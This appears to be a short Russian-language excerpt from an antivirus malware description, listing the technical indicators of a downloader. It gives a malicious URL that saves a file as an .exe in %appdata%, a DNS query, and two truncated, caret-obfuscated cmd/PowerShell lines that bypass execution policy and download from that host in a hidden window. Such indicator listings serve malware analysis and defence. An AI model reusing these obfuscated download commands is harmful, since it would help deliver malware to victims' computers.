Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^Ow^e^R^SHelL.E^xe^ -ex^E^c^UtiOn^POlIcy^ b^y^PAs^S^ ^-NOPro^f^i^Le ^-wiNd^o^Wstyl^e ^hIddEn ^(ne^W^-o^bJEc^T systEm.^nEt^.weBcL^IeNT).D^owNlOaD^F^i^Le('http://www.zonedopesa.t...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "p^Ow^e^R^SHelL.E^xe^ -ex^E^c^UtiOn^POlIcy^ b^y^PAs^S^ ^-NOPro^f^i^Le ^-wiNd^o^Wstyl^e ^hIddEn ^(ne^W^-o^bJEc^T systEm.^nEt^.weBcL^IeNT).D^owNlOaD^F^i^Le('http://www.zonedopesa.t...' (со скрытым окном)